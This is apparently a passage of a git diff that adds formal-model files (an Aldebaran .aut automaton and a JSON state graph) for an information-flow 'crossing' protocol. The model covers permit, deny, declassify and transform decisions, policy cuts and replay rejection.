"request-0","declassify","p1","fresh"],"last":["request-0","p1","declassify"],"phase":"terminal"},{"cut":"p1","decision":"none","delivery":"none","intent":["request-0","plain","p1","same-cut"],"last":["request-0","p1","permit"],"phase":"offered"},{"cut":"p1","decision":"transform","delivery":"delivered","intent":["request-0","transform","p1","fresh"],"last":["request-0","p1","transform"],"phase":"terminal"},{"cut":"p0","decision":"permit","delivery":"pending","intent":["request-0","plain","p0","same-cut"],"last":["request-0","p0","permit"],"phase":"delivery-pending"},{"cut":"p1","decision":"permit","delivery":"delivered","intent":["request-0","plain","p0","later-cut"],"last":["request-0","p0","permit"],"phase":"terminal"},{"cut":"p0","decision":"transform","delivery":"none","intent":["request-0","transform","p0","same-cut"],"last":["request-0","p0","transform"],"phase":"decided"},{"cut":"p1","decision":"none","delivery":"none","intent":["request-0","transform","p0","later-cut"],"last":["request-0","p0","transform"],"phase":"offered"},{"cut":"p1","decision":"none","delivery":"none","intent":["request-0","declassify","p1","same-cut"],"last":["request-0","p1","declassify"],"phase":"offered"},{"cut":"p1","decision":"permit","delivery":"pending","intent":["request-0","plain","p1","same-cut"],"last":["request-0","p1","permit"],"phase":"decided"},{"cut":"p1","decision":"none","delivery":"none","intent":["request-0","transform","p1","same-cut"],"last":["request-0","p1","transform"],"phase":"offered"},{"cut":"p0","decision":"permit","delivery":"delivered","intent":["request-0","plain","p0","same-cut"],"last":["request-0","p0","permit"],"phase":"terminal"},{"cut":"p0","decision":"transform","delivery":"pending","intent":["request-0","transform","p0","same-cut"],"last":["request-0","p0","transform"],"phase":"decided"},{"cut":"p1","decision":"transform","delivery":"delivered","intent":["request-0","transform","p0","later-cut"],"last":["request-0","p0","transform"],"phase":"terminal"},{"cut":"p1","decision":"declassify","delivery":"none","intent":["request-0","declassify","p1","same-cut"],"last":["request-0","p1","declassify"],"phase":"decided"},{"cut":"p1","decision":"permit","delivery":"pending","intent":["request-0","plain","p1","same-cut"],"last":["request-0","p1","permit"],"phase":"delivery-pending"},{"cut":"p1","decision":"transform","delivery":"none","intent":["request-0","transform","p1","same-cut"],"last":["request-0","p1","transform"],"phase":"decided"},{"cut":"p1","decision":"permit","delivery":"delivered","intent":["request-0","plain","p0","same-cut"],"last":["request-0","p0","permit"],"phase":"terminal"},{"cut":"p0","decision":"transform","delivery":"pending","intent":["request-0","transform","p0","same-cut"],"last":["request-0","p0","transform"],"phase":"delivery-pending"},{"cut":"p1","decision":"declassify","delivery":"pending","intent":["request-0","declassify","p1","same-cut"],"last":["request-0","p1","declassify"],"phase":"decided"},{"cut":"p1","decision":"permit","delivery":"delivered","intent":["request-0","plain","p1","same-cut"],"last":["request-0","p1","permit"],"phase":"terminal"},{"cut":"p1","decision":"transform","delivery":"pending","intent":["request-0","transform","p1","same-cut"],"last":["request-0","p1","transform"],"phase":"decided"},{"cut":"p0","decision":"transform","delivery":"delivered","intent":["request-0","transform","p0","same-cut"],"last":["request-0","p0","transform"],"phase":"terminal"},{"cut":"p1","decision":"declassify","delivery":"pending","intent":["request-0","declassify","p1","same-cut"],"last":["request-0","p1","declassify"],"phase":"delivery-pending"},{"cut":"p1","decision":"transform","delivery":"pending","intent":["request-0","transform","p1","same-cut"],"last":["request-0","p1","transform"],"phase":"delivery-pending"},{"cut":"p1","decision":"transform","delivery":"delivered","intent":["request-0","transform","p0","same-cut"],"last":["request-0","p0","transform"],"phase":"terminal"},{"cut":"p1","decision":"declassify","delivery":"delivered","intent":["request-0","declassify","p1","same-cut"],"last":["request-0","p1","declassify"],"phase":"terminal"},{"cut":"p1","decision":"transform","delivery":"delivered","intent":["request-0","transform","p1","same-cut"],"last":["request-0","p1","transform"],"phase":"terminal"}]} diff --git a/specs/formal/participant-semantics/crossing-models/rev2/concrete.aut b/specs/formal/participant-semantics/crossing-models/rev2/concrete.aut new file mode 100644 index 000000000..a977d690f --- /dev/null +++ b/specs/formal/participant-semantics/crossing-models/rev2/concrete.aut @@ -0,0 +1,198 @@ +des (0, 197, 178) +(0,"crossing.request",1) +(0,"crossing.request",2) +(0,"crossing.request",3) +(0,"crossing.request",4) +(0,"crossing.request",5) +(0,"policy.cut.advance",6) +(1,"internal",7) +(2,"internal",8) +(3,"internal",9) +(4,"internal",10) +(5,"internal",11) +(6,"crossing.request",12) +(6,"crossing.request",13) +(6,"crossing.request",14) +(6,"crossing.request",15) +(6,"crossing.request",16) +(7,"internal",17) +(8,"internal",18) +(9,"internal",19) +(10,"internal",20) +(11,"internal",21) +(12,"internal",22) +(13,"internal",23) +(14,"internal",24) +(15,"internal",25) +(16,"internal",26) +(17,"internal",27) +(18,"internal",28) +(19,"internal",29) +(20,"internal",30) +(21,"internal",31) +(22,"internal",32) +(23,"internal",33) +(24,"internal",34) +(25,"internal",35) +(26,"internal",36) +(27,"crossing.decision.deny",37) +(28,"crossing.decision.deny",38) +(29,"crossing.decision.permit",39) +(30,"crossing.decision.permit",40) +(31,"crossing.decision.unsupported",41) +(32,"internal",42) +(33,"internal",43) +(34,"internal",44) +(35,"internal",45) +(36,"internal",46) +(37,"internal",47) +(38,"internal",48) +(39,"internal",49) +(40,"crossing.transform",50) +(41,"internal",51) +(42,"crossing.decision.permit",52) +(43,"crossing.decision.deny",53) +(44,"crossing.decision.permit",54) +(45,"crossing.decision.permit",55) +(46,"crossing.decision.unsupported",56) +(47,"internal",57) +(48,"internal",58) +(49,"internal",59) +(50,"internal",60) +(51,"internal",61) +(52,"crossing.declassify",62) +(53,"internal",63) +(54,"internal",64) +(55,"crossing.transform",65) +(56,"internal",66) +(57,"crossing.request",67) +(57,"policy.cut.advance",68) +(58,"crossing.request",69) +(58,"policy.cut.advance",70) +(59,"crossing.delivery",71) +(60,"internal",72) +(61,"crossing.request",73) +(61,"policy.cut.advance",74) +(62,"internal",75) +(63,"internal",76) +(64,"internal",77) +(65,"internal",78) +(66,"internal",79) +(67,"internal",80) +(68,"crossing.request",81) +(69,"internal",82) +(70,"crossing.request",83) +(71,"crossing.observation",84) +(72,"crossing.delivery",85) +(73,"internal",86) +(74,"crossing.request",87) +(75,"internal",88) +(76,"crossing.request",89) +(77,"crossing.delivery",90) +(78,"internal",91) +(79,"crossing.request",92) +(80,"internal",93) +(81,"internal",94) +(82,"internal",95) +(83,"internal",96) +(84,"crossing.request",97) +(84,"policy.cut.advance",98) +(85,"crossing.observation",99) +(86,"internal",100) +(87,"internal",101) +(88,"crossing.delivery",102) +(89,"internal",103) +(90,"crossing.observation",104) +(91,"crossing.delivery",105) +(92,"internal",106) +(93,"internal",107) +(94,"crossing.replay.reject",108) +(95,"internal",109) +(96,"crossing.replay.reject",110) +(97,"internal",111) +(98,"crossing.request",112) +(99,"crossing.request",113) +(99,"policy.cut.advance",114) +(100,"internal",115) +(101,"crossing.replay.reject",116) +(102,"crossing.observation",117) +(103,"internal",118) +(104,"crossing.request",119) +(105,"crossing.observation",120) +(106,"internal",121) +(107,"crossing.decision.deny",122) +(108,"crossing.request",81) +(109,"crossing.decision.deny",123) +(110,"crossing.request",83) +(111,"internal",124) +(112,"internal",125) +(113,"internal",126) +(114,"crossing.request",127) +(115,"crossing.decision.unsupported",128) +(116,"crossing.request",87) +(117,"crossing.request",129) +(118,"internal",130) +(119,"internal",131) +(120,"crossing.request",132) +(121,"internal",133) +(122,"crossing.request",67) +(122,"policy.cut.advance",134) +(123,"crossing.request",69) +(123,"policy.cut.advance",135) +(124,"internal",136) +(125,"crossing.replay.reject",137) +(126,"internal",138) +(127,"internal",139) +(128,"crossing.request",73) +(128,"policy.cut.advance",140) +(129,"internal",141) +(130,"crossing.decision.deny",142) +(131,"internal",143) +(132,"internal",144) +(133,"crossing.decision.unsupported",145) +(134,"crossing.request",81) +(135,"crossing.request",83) +(136,"crossing.decision.permit",146) +(137,"crossing.request",112) +(138,"internal",147) +(139,"crossing.replay.reject",148) +(140,"crossing.request",87) +(141,"internal",149) +(142,"crossing.request",89) +(143,"internal",150) +(144,"internal",151) +(145,"crossing.request",92) +(146,"internal",152) +(147,"crossing.decision.permit",153) +(148,"crossing.request",127) +(149,"internal",154) +(150,"crossing.decision.permit",155) +(151,"internal",156) +(152,"crossing.delivery",157) +(153,"crossing.transform",158) +(154,"crossing.decision.permit",159) +(155,"internal",160) +(156,"crossing.decision.permit",161) +(157,"crossing.observation",162) +(158,"internal",163) +(159,"crossing.declassify",164) +(160,"crossing.delivery",165) +(161,"crossing.transform",166) +(162,"crossing.request",97) +(162,"policy.cut.advance",167) +(163,"crossing.delivery",168) +(164,"internal",169) +(165,"crossing.observation",170) +(166,"internal",171) +(167,"crossing.request",112) +(168,"crossing.observation",172) +(169,"crossing.delivery",173) +(170,"crossing.request",119) +(171,"crossing.delivery",174) +(172,"crossing.request",113) +(172,"policy.cut.advance",175) +(173,"crossing.observation",176) +(174,"crossing.observation",177) +(175,"crossing.request",127) +(176,"crossing.request",129) +(177,"crossing.request",132) diff --git a/specs/formal/participant-semantics/crossing-models/rev2/concrete.json b/specs/formal/participant-semantics/crossing-models/rev2/concrete.json new file mode 100644 index 000000000..b256a95a9 --- /dev/null +++ b/specs/formal/participant-semantics/crossing-models/rev2/concrete.json @@ -0,0 +1 @@ +{"initial":0,"semantic_edges":[[0,"crossing.request",1],[0,"crossing.request",2],[0,"crossing.request",3],[0,"crossing.request",4],[0,"crossing.request",5],[0,"policy.cut.advance",6],[1,"internal.validate",7],[2,"internal.validate",8],[3,"internal.validate",9],[4,"internal.validate",10],[5,"internal.validate",11],[6,"crossing.request",12],[6,"crossing.request",13],[6,"crossing.request",14],[6,"crossing.request",15],[6,"crossing.request",16],[7,"internal.resolve-policy-cut",17],[8,"internal.resolve-policy-cut",18],[9,"internal.resolve-policy-cut",19],[10,"internal.resolve-policy-cut",20],[11,"internal.resolve-policy-cut",21],[12,"internal.validate",22],[13,"internal.validate",23],[14,"internal.validate",24],[15,"internal.validate",25],[16,"internal.validate",26],[17,"internal.resolve-capability",27],[18,"internal.resolve-capability",28],[19,"internal.resolve-capability",29],[20,"internal.resolve-capability",30],[21,"internal.resolve-capability",31],[22,"internal.resolve-policy-cut",32],[23,"internal.resolve-policy-cut",33],[24,"internal.resolve-policy-cut",34],[25,"internal.resolve-policy-cut",35],[26,"internal.resolve-policy-cut",36],[27,"crossing.decision.deny",37],[28,"crossing.decision.deny",38],[29,"crossing.decision.permit",39],[30,"crossing.decision.permit",40],[31,"crossing.decision.unsupported",41],[32,"internal.resolve-capability",42],[33,"internal.resolve-capability",43],[34,"internal.resolve-capability",44],[35,"internal.resolve-capability",45],[36,"internal.resolve-capability",46],[37,"internal.prepare-record",47],[38,"internal.prepare-record",48],[39,"internal.prepare-record",49],[40,"crossing.transform",50],[41,"internal.prepare-record",51],[42,"crossing.decision.permit",52],[43,"crossing.decision.deny",53],[44,"crossing.decision.permit",54],[45,"crossing.decision.permit",55],[46,"crossing.decision.unsupported",56],[47,"internal.atomic-commit",57],[48,"internal.atomic-commit",58],[49,"internal.atomic-commit",59],[50,"internal.prepare-record",60],[51,"internal.atomic-commit",61],[52,"crossing.declassify",62],[53,"internal.prepare-record",63],[54,"internal.prepare-record",64],[55,"crossing.transform",65],[56,"internal.prepare-record",66],[57,"crossing.request",67],[57,"policy.cut.advance",68],[58,"crossing.request",69],[58,"policy.cut.advance",70],[59,"crossing.delivery",71],[60,"internal.atomic-commit",72],[61,"crossing.request",73],[61,"policy.cut.advance",74],[62,"internal.prepare-record",75],[63,"internal.atomic-commit",76],[64,"internal.atomic-commit",77],[65,"internal.prepare-record",78],[66,"internal.atomic-commit",79],[67,"internal.validate",80],[68,"crossing.request",81],[69,"internal.validate",82],[70,"crossing.request",83],[71,"crossing.observation",84],[72,"crossing.delivery",85],[73,"internal.validate",86],[74,"crossing.request",87],[75,"internal.atomic-commit",88],[76,"crossing.request",89],[77,"crossing.delivery",90],[78,"internal.atomic-commit",91],[79,"crossing.request",92],[80,"internal.resolve-policy-cut",93],[81,"internal.validate",94],[82,"internal.resolve-policy-cut",95],[83,"internal.validate",96],[84,"crossing.request",97],[84,"policy.cut.advance",98],[85,"crossing.observation",99],[86,"internal.resolve-policy-cut",100],[87,"internal.validate",101],[88,"crossing.delivery",102],[89,"internal.validate",103],[90,"crossing.observation",104],[91,"crossing.delivery",105],[92,"internal.validate",106],[93,"internal.resolve-capability",107],[94,"crossing.replay.reject",108],[95,"internal.resolve-capability",109],[96,"crossing.replay.reject",110],[97,"internal.validate",111],[98,"crossing.request",112],[99,"crossing.request",113],[99,"policy.cut.advance",114],[100,"internal.resolve-capability",115],[101,"crossing.replay.reject",116],[102,"crossing.observation",117],[103,"internal.resolve-policy-cut",118],[104,"crossing.request",119],[105,"crossing.observation",120],[106,"internal.resolve-policy-cut",121],[107,"crossing.decision.deny",122],[108,"crossing.request",81],[109,"crossing.decision.deny",123],[110,"crossing.request",83],[111,"internal.resolve-policy-cut",124],[112,"internal.validate",125],[113,"internal.validate",126],[114,"crossing.request",127],[115,"crossing.decision.unsupported",128],[116,"crossing.request",87],[117,"crossing.request",129],[118,"internal.resolve-capability",130],[119,"internal.validate",131],[120,"crossing.request",132],[121,"internal.resolve-capability",133],[122,"crossing.request",67],[122,"policy.cut.advance",134],[123,"crossing.request",69],[123,"policy.cut.advance",135],[124,"internal.resolve-capability",136],[125,"crossing.replay.reject",137],[126,"internal.resolve-policy-cut",138],[127,"internal.validate",139],[128,"crossing.request",73],[128,"policy.cut.advance",140],[129,"internal.validate",141],[130,"crossing.decision.deny",142],[131,"internal.resolve-policy-cut",143],[132,"internal.validate",144],[133,"crossing.decision.unsupported",145],[134,"crossing.request",81],[135,"crossing.request",83],[136,"crossing.decision.permit",146],[137,"crossing.request",112],[138,"internal.resolve-capability",147],[139,"crossing.replay.reject",148],[140,"crossing.request",87],[141,"internal.resolve-policy-cut",149],[142,"crossing.request",89],[143,"internal.resolve-capability",150],[144,"internal.resolve-policy-cut",151],[145,"crossing.request",92],[146,"internal.prepare-record",152],[147,"crossing.decision.permit",153],[148,"crossing.request",127],[149,"internal.resolve-capability",154],[150,"crossing.decision.permit",155],[151,"internal.resolve-capability",156],[152,"crossing.delivery",157],[153,"crossing.transform",158],[154,"crossing.decision.permit",159],[155,"internal.prepare-record",160],[156,"crossing.decision.permit",161],[157,"crossing.observation",162],[158,"internal.prepare-record",163],[159,"crossing.declassify",164],[160,"crossing.delivery",165],[161,"crossing.transform",166],[162,"crossing.request",97],[162,"policy.cut.advance",167],[163,"crossing.delivery",168],[164,"internal.prepare-record",169],[165,"crossing.observation",170],[166,"internal.prepare-record",171],[167,"crossing.request",112],[168,"crossing.observation",172],[169,"crossing.delivery",173],[170,"crossing.request",119],[171,"crossing.delivery",174],[172,"crossing.request",113],[172,"policy.cut.advance",175],[173,"crossing.observation",176],[174,"crossing.observation",177],[175,"crossing.request",127],[176,"crossing.request",129],[177,"crossing.request",132]],"states":[{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":null,"last":null,"phase":"idle"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","declassify","p0","fresh"],"last":null,"phase":"validating"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","forbidden","p0","fresh"],"last":null,"phase":"validating"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","plain","p0","fresh"],"last":null,"phase":"validating"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","transform","p0","fresh"],"last":null,"phase":"validating"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","unsupported","p0","fresh"],"last":null,"phase":"validating"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":null,"last":null,"phase":"idle"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","declassify","p0","fresh"],"last":null,"phase":"resolving-cut"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","forbidden","p0","fresh"],"last":null,"phase":"resolving-cut"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","plain","p0","fresh"],"last":null,"phase":"resolving-cut"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","transform","p0","fresh"],"last":null,"phase":"resolving-cut"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","unsupported","p0","fresh"],"last":null,"phase":"resolving-cut"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","declassify","p1","fresh"],"last":null,"phase":"validating"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","forbidden","p1","fresh"],"last":null,"phase":"validating"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","plain","p1","fresh"],"last":null,"phase":"validating"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","transform","p1","fresh"],"last":null,"phase":"validating"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","unsupported","p1","fresh"],"last":null,"phase":"validating"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","declassify","p0","fresh"],"last":null,"phase":"resolving-capability"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","forbidden","p0","fresh"],"last":null,"phase":"resolving-capability"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","plain","p0","fresh"],"last":null,"phase":"resolving-capability"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","transform","p0","fresh"],"last":null,"phase":"resolving-capability"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","unsupported","p0","fresh"],"last":null,"phase":"resolving-capability"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","declassify","p1","fresh"],"last":null,"phase":"resolving-cut"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","forbidden","p1","fresh"],"last":null,"phase":"resolving-cut"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","plain","p1","fresh"],"last":null,"phase":"resolving-cut"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","transform","p1","fresh"],"last":null,"phase":"resolving-cut"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","unsupported","p1","fresh"],"last":null,"phase":"resolving-cut"},{"capability":"supported","cut":"p0","decision":"none","delivery":"none","gate":"deny","head":"h0","intent":["request-0","declassify","p0","fresh"],"last":null,"phase":"gating"},{"capability":"supported","cut":"p0","decision":"none","delivery":"none","gate":"deny","head":"h0","intent":["request-0","forbidden","p0","fresh"],"last":null,"phase":"gating"},{"capability":"supported","cut":"p0","decision":"none","delivery":"none","gate":"permit","head":"h0","intent":["request-0","plain","p0","fresh"],"last":null,"phase":"gating"},{"capability":"supported","cut":"p0","decision":"none","delivery":"none","gate":"permit","head":"h0","intent":["request-0","transform","p0","fresh"],"last":null,"phase":"gating"},{"capability":"unsupported","cut":"p0","decision":"none","delivery":"none","gate":"permit","head":"h0","intent":["request-0","unsupported","p0","fresh"],"last":null,"phase":"gating"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","declassify","p1","fresh"],"last":null,"phase":"resolving-capability"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","forbidden","p1","fresh"],"last":null,"phase":"resolving-capability"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","plain","p1","fresh"],"last":null,"phase":"resolving-capability"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","transform","p1","fresh"],"last":null,"phase":"resolving-capability"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":["request-0","unsupported","p1","fresh"],"last":null,"phase":"resolving-capability"},{"capability":"supported","cut":"p0","decision":"deny","delivery":"withheld","gate":"deny","head":"h0","intent":["request-0","declassify","p0","fresh"],"last":null,"phase":"preparing-record"},{"capability":"supported","cut":"p0","decision":"deny","delivery":"withheld","gate":"deny","head":"h0","intent":["request-0","forbidden","p0","fresh"],"last":null,"phase":"preparing-record"},{"capability":"supported","cut":"p0","decision":"permit","delivery":"pending","gate":"permit","head":"h0","intent":["request-0","plain","p0","fresh"],"last":null,"phase":"preparing-record"},{"capability":"supported","cut":"p0","decision":"transform","delivery":"none","gate":"permit","head":"h0","intent":["request-0","transform","p0","fresh"],"last":null,"phase":"preparing-record"},{"capability":"unsupported","cut":"p0","decision":"unsupported","delivery":"withheld","gate":"permit","head":"h0","intent":["request-0","unsupported","p0","fresh"],"last":null,"phase":"preparing-record"},{"capability":"supported","cut":"p1","decision":"none","delivery":"none","gate":"permit","head":"h0","intent":["request-0","declassify","p1","fresh"],"last":null,"phase":"gating"},{"capability":"supported","cut":"p1","decision":"none","delivery":"none","gate":"deny","head":"h0","intent":["request-0","forbidden","p1","fresh"],"last":null,"phase":"gating"},{"capability":"supported","cut":"p1","decision":"none","delivery":"none","gate":"permit","head":"h0","intent":["request-0","plain","p1","fresh"],"last":null,"phase":"gating"},{"capability":"supported","cut":"p1","decision":"none","delivery":"none","gate":"permit","head":"h0","intent":["request-0","transform","p1","fresh"],"last":null,"phase":"gating"},{"capability":"unsupported","cut":"p1","decision":"none","delivery":"none","gate":"permit","head":"h0","intent":["request-0","unsupported","p1","fresh"],"last":null,"phase":"gating"},{"capability":"supported","cut":"p0","decision":"deny","delivery":"withheld","gate":"deny","head":"h0","intent":["request-0","declassify","p0","fresh"],"last":null,"phase":"committing"},{"capability":"supported","cut":"p0","decision":"deny","delivery":"withheld","gate":"deny","head":"h0","intent":["request-0","forbidden","p0","fresh"],"last":null,"phase":"committing"},{"capability":"supported","cut":"p0","decision":"permit","delivery":"pending","gate":"permit","head":"h0","intent":["request-0","plain","p0","fresh"],"last":null,"phase":"committing"},{"capability":"supported","cut":"p0","decision":"transform","delivery":"pending","gate":"permit","head":"h0","intent":["request-0","transform","p0","fresh"],"last":null,"phase":"preparing-record"},{"capability":"unsupported","cut":"p0","decision":"unsupported","delivery":"withheld","gate":"permit","head":"h0","intent":["request-0","unsupported","p0","fresh"],"last":null,"phase":"committing"},{"capability":"supported","cut":"p1","decision":"declassify","delivery":"none","gate":"permit","head":"h0","intent":["request-0","declassify","p1","fresh"],"last":null,"phase":"preparing-record"},{"capability":"supported","cut":"p1","decision":"deny","delivery":"withheld","gate":"deny","head":"h0","intent":["request-0","forbidden","p1","fresh"],"last":null,"phase":"preparing-record"},{"capability":"supported","cut":"p1","decision":"permit","delivery":"pending","gate":"permit","head":"h0","intent":["request-0","plain","p1","fresh"],"last":null,"phase":"preparing-record"},{"capability":"supported","cut":"p1","decision":"transform","delivery":"none","gate":"permit","head":"h0","intent":["request-0","transform","p1","fresh"],"last":null,"phase":"preparing-record"},{"capability":"unsupported","cut":"p1","decision":"unsupported","delivery":"withheld","gate":"permit","head":"h0","intent":["request-0","unsupported","p1","fresh"],"last":null,"phase":"preparing-record"},{"capability":"supported","cut":"p0","decision":"deny","delivery":"withheld","gate":"deny","head":"h1","intent":["request-0","declassify","p0","fresh"],"last":["request-0","p0","deny"],"phase":"terminal"},{"capability":"supported","cut":"p0","decision":"deny","delivery":"withheld","gate":"deny","head":"h1","intent":["request-0","forbidden","p0","fresh"],"last":["request-0","p0","deny"],"phase":"terminal"},{"capability":"supported","cut":"p0","decision":"permit","delivery":"pending","gate":"permit","head":"h1","intent":["request-0","plain","p0","fresh"],"last":["request-0","p0","permit"],"phase":"committing"},{"capability":"supported","cut":"p0","decision":"transform","delivery":"pending","gate":"permit","head":"h0","intent":["request-0","transform","p0","fresh"],"last":null,"phase":"committing"},{"capability":"unsupported","cut":"p0","decision":"unsupported","delivery":"withheld","gate":"permit","head":"h1","intent":["request-0","unsupported","p0","fresh"],"last":["request-0","p0","unsupported"],"phase":"terminal"},{"capability":"supported","cut":"p1","decision":"declassify","delivery":"pending","gate":"permit","head":"h0","intent":["request-0","declassify","p1","fresh"],"last":null,"phase":"preparing-record"},{"capability":"supported","cut":"p1","decision":"deny","delivery":"withheld","gate":"deny","head":"h0","intent":["request-0","forbidden","p1","fresh"],"last":null,"phase":"committing"},{"capability":"supported","cut":"p1","decision":"permit","delivery":"pending","gate":"permit","head":"h0","intent":["request-0","plain","p1","fresh"],"last":null,"phase":"committing"},{"capability":"supported","cut":"p1","decision":"transform","delivery":"pending","gate":"permit","head":"h0","intent":["request-0","transform","p1","fresh"],"last":null,"phase":"preparing-record"},{"capability":"unsupported","cut":"p1","decision":"unsupported","delivery":"withheld","gate":"permit","head":"h0","intent":["request-0","unsupported","p1","fresh"],"last":null,"phase":"committing"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","declassify","p0","same-cut"],"last":["request-0","p0","deny"],"phase":"validating"},{"capability":"supported","cut":"p1","decision":"deny","delivery":"withheld","gate":"deny","head":"h1","intent":["request-0","declassify","p0","fresh"],"last":["request-0","p0","deny"],"phase":"terminal"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","forbidden","p0","same-cut"],"last":["request-0","p0","deny"],"phase":"validating"},{"capability":"supported","cut":"p1","decision":"deny","delivery":"withheld","gate":"deny","head":"h1","intent":["request-0","forbidden","p0","fresh"],"last":["request-0","p0","deny"],"phase":"terminal"},{"capability":"supported","cut":"p0","decision":"permit","delivery":"pending","gate":"permit","head":"h1","intent":["request-0","plain","p0","fresh"],"last":["request-0","p0","permit"],"phase":"delivery-pending"},{"capability":"supported","cut":"p0","decision":"transform","delivery":"pending","gate":"permit","head":"h1","intent":["request-0","transform","p0","fresh"],"last":["request-0","p0","transform"],"phase":"committing"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","unsupported","p0","same-cut"],"last":["request-0","p0","unsupported"],"phase":"validating"},{"capability":"unsupported","cut":"p1","decision":"unsupported","delivery":"withheld","gate":"permit","head":"h1","intent":["request-0","unsupported","p0","fresh"],"last":["request-0","p0","unsupported"],"phase":"terminal"},{"capability":"supported","cut":"p1","decision":"declassify","delivery":"pending","gate":"permit","head":"h0","intent":["request-0","declassify","p1","fresh"],"last":null,"phase":"committing"},{"capability":"supported","cut":"p1","decision":"deny","delivery":"withheld","gate":"deny","head":"h1","intent":["request-0","forbidden","p1","fresh"],"last":["request-0","p1","deny"],"phase":"terminal"},{"capability":"supported","cut":"p1","decision":"permit","delivery":"pending","gate":"permit","head":"h1","intent":["request-0","plain","p1","fresh"],"last":["request-0","p1","permit"],"phase":"committing"},{"capability":"supported","cut":"p1","decision":"transform","delivery":"pending","gate":"permit","head":"h0","intent":["request-0","transform","p1","fresh"],"last":null,"phase":"committing"},{"capability":"unsupported","cut":"p1","decision":"unsupported","delivery":"withheld","gate":"permit","head":"h1","intent":["request-0","unsupported","p1","fresh"],"last":["request-0","p1","unsupported"],"phase":"terminal"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","declassify","p0","same-cut"],"last":["request-0","p0","deny"],"phase":"resolving-cut"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","declassify","p0","later-cut"],"last":["request-0","p0","deny"],"phase":"validating"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","forbidden","p0","same-cut"],"last":["request-0","p0","deny"],"phase":"resolving-cut"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","forbidden","p0","later-cut"],"last":["request-0","p0","deny"],"phase":"validating"},{"capability":"supported","cut":"p0","decision":"permit","delivery":"delivered","gate":"permit","head":"h1","intent":["request-0","plain","p0","fresh"],"last":["request-0","p0","permit"],"phase":"terminal"},{"capability":"supported","cut":"p0","decision":"transform","delivery":"pending","gate":"permit","head":"h1","intent":["request-0","transform","p0","fresh"],"last":["request-0","p0","transform"],"phase":"delivery-pending"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","unsupported","p0","same-cut"],"last":["request-0","p0","unsupported"],"phase":"resolving-cut"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","unsupported","p0","later-cut"],"last":["request-0","p0","unsupported"],"phase":"validating"},{"capability":"supported","cut":"p1","decision":"declassify","delivery":"pending","gate":"permit","head":"h1","intent":["request-0","declassify","p1","fresh"],"last":["request-0","p1","declassify"],"phase":"committing"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","forbidden","p1","same-cut"],"last":["req